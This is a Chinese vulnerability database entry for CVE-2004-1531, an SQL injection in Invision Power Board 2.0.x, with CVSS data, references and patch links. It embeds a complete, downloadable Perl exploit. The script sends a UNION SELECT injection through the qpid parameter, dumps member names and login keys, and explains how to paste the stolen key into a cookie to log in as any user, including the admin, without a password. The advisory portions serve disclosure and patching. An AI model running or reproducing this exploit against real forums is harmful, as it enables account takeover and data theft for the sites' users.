CVE-2004-1531
CVSS7.5
发布时间 :2004-12-31 00:00:00
修订时间 :2016-10-17 22:55:53
NMCOE    

[原文]SQL injection vulnerability in post.php in Invision Power Board (IPB) 2.0.0 through 2.0.2 allows remote attackers to execute arbitrary SQL commands via the qpid parameter.


[CNNVD]Invision Power Board远程SQL注入漏洞(CNNVD-200412-365)

        
        Invision Power Board是一款流行的基于WEB的论坛程序。
        Invision Power Board 'index.php'脚本不正确过滤用户提交的URL输入,远程攻击者可以利用这个漏洞进行SQL注入攻击,可能获得敏感信息或者破坏数据库。
        'index.php'脚本由于对'$qpid'变量处理不充分,提交恶意SQL命令作为参数,可更改原来的SQL逻辑,可能获得敏感信息或者破坏数据库。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:invision_power_services:invision_board:2.0.2
cpe:/a:invision_power_services:invision_board:2.0
cpe:/a:invision_power_services:invision_board:2.0.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1531
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-1531
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200412-365
(官方数据源) CNNVD

- 其它链接及资源

http://forums.invisionpower.com/index.php?showtopic=154916
(PATCH)  CONFIRM  http://forums.invisionpower.com/index.php?showtopic=154916
http://marc.info/?l=bugtraq&m=110079592702417&w=2
(UNKNOWN)  BUGTRAQ  20041118 [MaxPatrol] SQL-injection in Invision Power Board 2.x
http://marc.info/?l=bugtraq&m=111454805209191&w=2
(UNKNOWN)  BUGTRAQ  20050425 SQL-injections in Invision Power Board v2.0.1
http://marc.info/?l=bugtraq&m=111462421824202&w=2
(UNKNOWN)  BUGTRAQ  20050427 Re: SQL-injections in Invision Power Board v2.0.1
http://www.securityfocus.com/bid/11703
(UNKNOWN)  BID  11703
http://xforce.iss.net/xforce/xfdb/18164
(UNKNOWN)  XF  invisionpowerboard-sql-injection(18164)

- 漏洞信息

Invision Power Board远程SQL注入漏洞
高危 输入验证
2004-12-31 00:00:00 2005-10-20 00:00:00
远程  
        
        Invision Power Board是一款流行的基于WEB的论坛程序。
        Invision Power Board 'index.php'脚本不正确过滤用户提交的URL输入,远程攻击者可以利用这个漏洞进行SQL注入攻击,可能获得敏感信息或者破坏数据库。
        'index.php'脚本由于对'$qpid'变量处理不充分,提交恶意SQL命令作为参数,可更改原来的SQL逻辑,可能获得敏感信息或者破坏数据库。
        

- 公告与补丁

        厂商补丁:
        Invision PS
        -----------
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        
        http://forums.invisionpower.com/index.php?showtopic=154916

        
        http://forums.invisionpower.com/index.php?act=Attach&type=post&id=4992

- 漏洞信息 (648)

Invision Power Board v2.0.0 - 2.0.2 Sql Injection Exploit (EDBID:648)
php webapps
2004-11-22 Verified
0 RusH
N/A [点击下载]
#!/usr/bin/perl
use IO::Socket;

			      #    #        #    #                                                                                                                                                                                                                                                                                                                                    
			      #   #          #   #                                                                                                                                                                                                                                                                                                                                    
			     #    #          #    #                                                                                                                                                                                                                                                                                                                                   
			     #   ##   ####   ##   #                                                                                                                                                                                                                                                                                                                                   
			    ##   ##  ######  ##   ##                                                                                                                                                                                                                                                                                                                                  
			    ##   ##  ######  ##   ##                                                                                                                                                                                                                                                                                                                                  
			    ##   ##   ####   ##   ##                                                                                                                                                                                                                                                                                                                                  
			    ###   ############   ###                                                                                                                                                                                                                                                                                                                                  
			    ########################                                                                                                                                                                                                                                                                                                                                  
			         ##############                                                                                                                                                                                                                                                                                                                                       
			  ######## ########## #######                                                                                                                                                                                                                                                                                                                                 
			 ###   ##  ##########  ##   ###                                                                                                                                                                                                                                                                                                                               
			 ###   ##  ##########  ##   ###                                                                                                                                                                                                                                                                                                                               
			  ###   #  ##########  #   ###                                                                                                                                                                                                                                                                                                                                
			  ###   ##  ########  ##   ###                                                                                                                                                                                                                                                                                                                                
			   ##    #   ######   #    ##                                                                                                                                                                                                                                                                                                                                 
			    ##   #    ####   #    ##                                                                                                                                                                                                                                                                                                                                  
 			     ##                 ##           

## Invision Power Board v2.0.0 - 2.0.2 sql injection exploit
## by RusH security team (www.rst.void.ru)
## coded by 1dt.w0lf
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## example:
##
## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3
## ------------------------------------------------------------------------------------------------
## [>] SERVER: 127.0.0.1
## [>]    DIR: /IPB202/
## [>]  FORUM: 2
## [>]  TOPIC: 1
## [>]    SID: 3edb1eaeea640d297ee3b1f78b5679b3
## [>] PREFIX:
## [>]     ID:
## ------------------------------------------------------------------------------------------------
## 
## [~] PREPARE TO CONNECT...
## [+] CONNECTED
## [~] SENDING QUERY...
## [+] DONE!
## 
## PREFIX: ibf_
##
## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3 ibf_
## ------------------------------------------------------------------------------------------------
## [>] SERVER: 127.0.0.1
## [>]    DIR: /IPB202/
## [>]  FORUM: 2
## [>]  TOPIC: 1
## [>]    SID: 3edb1eaeea640d297ee3b1f78b5679b3
## [>] PREFIX: ibf_
## [>]     ID:
## ------------------------------------------------------------------------------------------------
## 
## [~] PREPARE TO CONNECT...
## [+] CONNECTED
## [~] SENDING QUERY...
## [+] DONE!
## 
## --[ REPORT ]------------------------------------------------------------------------------------
## MEMBER_ID: [1] NAME: [admin] PASS_HASH: [73dea61281aa9b08ed31b4ae2bb9954e]
## ------------------------------------------------------------------------------------------------
## Now you need edit cookie and insert new pass_hash and member_id values.
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Пару слов о возвращаемом эксплоитом результате:
## Значение pass_hash это не зашифрованный пароль юзера!!! а одноименное значение из кукиса с
## помощью которого можно войти на форум под любым юзером без ввода пароля. 
## member_id это также одноименное значение из кукиса.
## Поэтому не стоит пытаться расшифровать pass_hash =) Просто зарегистрируйтесь на форуме и измените
## pass_hash и member_id в вашем cookie на одно из значений которые выдаст сплоит.
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


if (@ARGV < 5)
{
print "-------------------------------------------------------------------------\r\n";
print "       Invision Power Board v2.0.0 - 2.0.2 sql injection exploit\r\n";
print "-------------------------------------------------------------------------\r\n";
print "usage:\r\n";
print "r57ipb.pl SERVER /DIR/ FORUM_NUM TOPIC_NUM SID [TABLE_PREFIX] [USER_ID]\r\n\r\n";
print "SERVER         - server where IPB installed\r\n";
print "/DIR/          - IPB directory or / for no directory\r\n";
print "FORUM_NUM      - number of existing forum\r\n";
print "TOPIC_NUM      - number of existing topic\r\n";
print "SID            - your session id\r\n";
print "[TABLE_PREFIX] - table prefix in database\r\n";
print "[USER_ID]      - user id for exploiting\r\n\r\n"; 
print "e.g. r57ipb.pl 127.0.0.1 /IPB/ 2 1 4496b6d35c1bc0662d721c207f81784e ibf_\r\n";
print "-------------------------------------------------------------------------\r\n";
exit();
}

if (@ARGV < 6) { $get_table = 1; }

$server = $ARGV[0];
$dir    = $ARGV[1];
$fnum   = $ARGV[2];
$tnum   = $ARGV[3];
$sid    = $ARGV[4];
$prefix = $ARGV[5];
$id     = $ARGV[6];

print "------------------------------------------------------------------------------------------------\r\n";
print "[>] SERVER: $server\r\n";
print "[>]    DIR: $dir\r\n";
print "[>]  FORUM: $fnum\r\n";
print "[>]  TOPIC: $tnum\r\n";
print "[>]    SID: $sid\r\n";
print "[>] PREFIX: $prefix\r\n";
print "[>]     ID: $id\r\n";
print "------------------------------------------------------------------------------------------------\r\n\r\n";

$server =~ s/(http:\/\/)//eg;

$path  = $dir;
$path .= "index.php?s=";
$path .= $sid;
$path .= "&act=Post&CODE=02&f=";
$path .= $fnum;
$path .= "&t=";
$path .= $tnum;
if ($get_table == 1) 
 {
 $path .= "&qpid=r57"
 }
else
 {
$path .= "&qpid=666666666)%20union%20select%201,1,1,1,1,1,1,1,1,1,CONCAT(id,char(58),name,char(58),member_login_key),1,1,1,1,1,1,1,1,1%20from%20";
$path .= $prefix;
$path .= "members";
$path .= ($id)?("%20WHERE%20id=$id%20"):("%20");
$path .= "/*";
 }
print "[~] PREPARE TO CONNECT...\r\n";

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] CONNECTION FAILED";

print "[+] CONNECTED\r\n";
print "[~] SENDING QUERY...\r\n";
print $socket "GET $path HTTP/1.1\r\n";
print $socket "Host: $server\r\n";                                                                                                                                                          
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\r\n";
print "[+] DONE!\r\n\r\n";

$suc =0;

if ($get_table == 1)
 {
 while ($answer = <$socket>)
  {
  if ($answer =~ /(mySQL query error: )(.*)( FROM )(.*)(posts)/){ print "PREFIX: $4\r\n"; $suc = 1; }
  }
 if (!$suc) { print "Exploit failed\r\n"; }
 exit();
 }

print "--[ REPORT ]------------------------------------------------------------------------------------\r\n";
while ($answer = <$socket>)
{
 if ($answer =~ /^([^:]*):([^:]*):([a-z,0-9]{32})$/) { print "MEMBER_ID: [$1] NAME: [$2] PASS_HASH: [$3]\r\n"; $suc = 1; }
}
print "------------------------------------------------------------------------------------------------\r\n";
if ($suc == 1) { print "Now you need edit cookie and insert new pass_hash and member_id values.\r\n"; exit(); }
else { print "Exploit failed\r\n"; }



# milw0rm.com [2004-11-22]
		

- 漏洞信息

11929
Invision Power Board sources/post.php qpid Parameter SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

Invision Power Board contains a flaw that will allow a remote attacker to inject arbitrary SQL code. The problem is that the 'qpid ' parameter in the 'index.php' script is not verified properly and will allow an attacker to inject or manipulate SQL queries.

- 时间线

2004-11-18 Unknow
2004-11-18 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Invision Power Services has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站